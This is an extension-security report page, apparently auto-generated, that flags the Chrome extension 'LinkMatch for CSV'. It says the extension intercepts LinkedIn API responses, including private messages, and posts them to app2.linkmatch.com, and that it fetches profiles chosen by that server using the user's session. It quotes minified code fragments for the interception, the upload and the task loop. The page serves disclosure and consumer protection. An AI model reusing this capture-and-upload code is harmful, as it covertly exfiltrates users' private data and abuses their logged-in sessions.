Is LinkMatch for CSV safe?

Medium risk

LinkMatch for CSV copies LinkedIn API responses, including private messages, to app2.linkmatch.com as you browse.

On LinkedIn pages, the extension wraps fetch and XMLHttpRequest and captures responses for profile, contact info, Sales Navigator, Recruiter and messaging endpoints. It posts them with your LinkMatch account email to app2.linkmatch.com without any save or export click. It also polls that server for LinkedIn profiles to look up, fetches them using your logged-in session, and reports the results back.

Yuriy Yazlovytskyyv3.87Chrome Web Store
55Risk
Who publishes it

Logical Pure Minds SRL - 9 other listings from the same operator, 6 of them carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Yuriy Yazlovytskyy
Declared legal entity
Logical Pure Minds SRL

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

LinkMatch uploads LinkedIn API responses you load to app2.linkmatch.com

Code analysis shows LinkedIn profile, inbox and Sales Navigator API responses are copied in the page and POSTed to app2.linkmatch.com/api/s_data with your LinkMatch email, with no save click.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You open a LinkedIn profile or your messaging inbox while signed in to LinkMatch.

The extension did this

The extension copies LinkedIn's own API replies and sends them to app2.linkmatch.com.

No save or export click is required in the code path.

The code that does this

Page-world fetch wrapper and the URL match table

Readable version

Content script receives REQ_RESPONSE

content-script-bundle.js
                  if (U9) return;                  U9 = !0;                  const e = r => {                    var o;                    if (((o = r.data) === null || o === void 0 ? void 0 : o.type) === "REQ_RESPONSE") {                      const s = r.data;                      w5e(s.url, s.response, s.request)                    }                  };                  window.addEventListener("message", e, !1), window.addEventListener("beforeunload", () => {                    r5e(), U9 = !1                  }), J_e().forEach(r => {

Upload to s_data

content-script-bundle.js
                OY = (e, t) => {                  let r = `${bt.linkmatch_host2}/api/s_data`;                  return $0().then(o => o.caseOf({                    just: s => Ja(r, {                      data: Ei({                        user_id: s.email,                        data: e,                        type: t,                        s: s.s,                        app: bt.ats                      })                    }, "application/json").then(E => E.caseOf({                      left: w => (_i({                        type: "interception_error",                        params: {                          message: "Error caching data",                          error: w,                          reqType: e.reqType                        }                      }), {                        success: !1                      }),
Fields in the POST body to /api/s_data
  • LinkMatch account email
    jane.doe@example.com (illustrative)

    Ties the uploaded LinkedIn data to your LinkMatch account.

  • LinkedIn API response
    {"data":{"identityDashProfilesByMemberIdentity":{...}}} (illustrative shape)

    Profile, contact info, message thread or search JSON as LinkedIn returned it.

  • Response type
    inboxMainProfile

    Which LinkedIn endpoint class the data came from.

  • App label
    csv

    Which LinkMatch edition sent it.

Where the captured responses go
    • app2.linkmatch.com

    Receives LinkedIn API JSON at /api/s_data with the LinkMatch user email.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

LinkMatch fetches server-chosen LinkedIn profiles using your session

Code analysis shows the extension polls app2.linkmatch.com for profile targets, loads them from LinkedIn with your logged-in session, and reports the parsed profile back.

Targets depend on the server reply.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Static analysis
What actually happens
You did this

You open LinkedIn while signed in to LinkMatch.

The extension did this

The extension asks app2.linkmatch.com which profiles to load, then loads them using your LinkedIn login.

Results are sent back to the same host. This only happens if the server returns tasks.

The code that does this

Task pull endpoints and the fetch-and-report loop

Readable version

Profile fetch for each server-supplied socialIdentifier

content-script-bundle.js
              const _Ae = e => {                  $s.worker_tasks_pull({                    email: e.email                  }).then(t => t.caseOf({                    left: r => {                      _i({                        type: "tasks_pull_failed",                        params: r                      })                    },                    right: r => {                      Promise.all(r.map(o => e.ui_helper.get_json_person_data({                        primary: o.socialIdentifier                      }, {                        inIframe: !0,                        lang: "en",                        sectionsToInclude: ["followers", "non_std_urls", "resume", "contactInfo"],

Report back to the server

content-script-bundle.js
                        }                      }))).then(o => o.length ? $s.worker_tasks_report(e, o.map(({                        profile: s,                        task: E,                        company: w                      }) => ({                        taskId: E.taskId,                        data: s.exists ? s : void 0,                        data_company: w != null && w.exists ? w : void 0,                        error: s.exists ? void 0 : {                          code: "NOT_FOUND_IN_LN"                        }                      }))) : Promise.resolve({}))                    }
What moves in each direction
  • Your LinkMatch email (workerId)
    jane.doe@example.com (illustrative)

    Identifies your browser as the worker that receives tasks.

  • Target LinkedIn identity
    socialIdentifier from the pull reply (value set by server)

    The profile the server asks your browser to load.

  • Parsed profile and company
    profile_fields, data_company (illustrative)

    Profile, contact info and company data read under your session.

  • x-api-key header
    0000000000

    A fixed value sent with pull and report calls.

Hosts contacted
    • app2.linkmatch.com

    Issues profile tasks at /worker-tasks/pull and receives results at /worker-tasks/report.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Where it sends data

Destinations our analysis observed LinkMatch for CSV contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • app2.linkmatch.com

    LinkMatch for CSV sends data to app2.linkmatch.com. 6 other extensions we have analysed send data here.

Updated 15 October 2026lohabincmodaknenblkopbgeamngacpg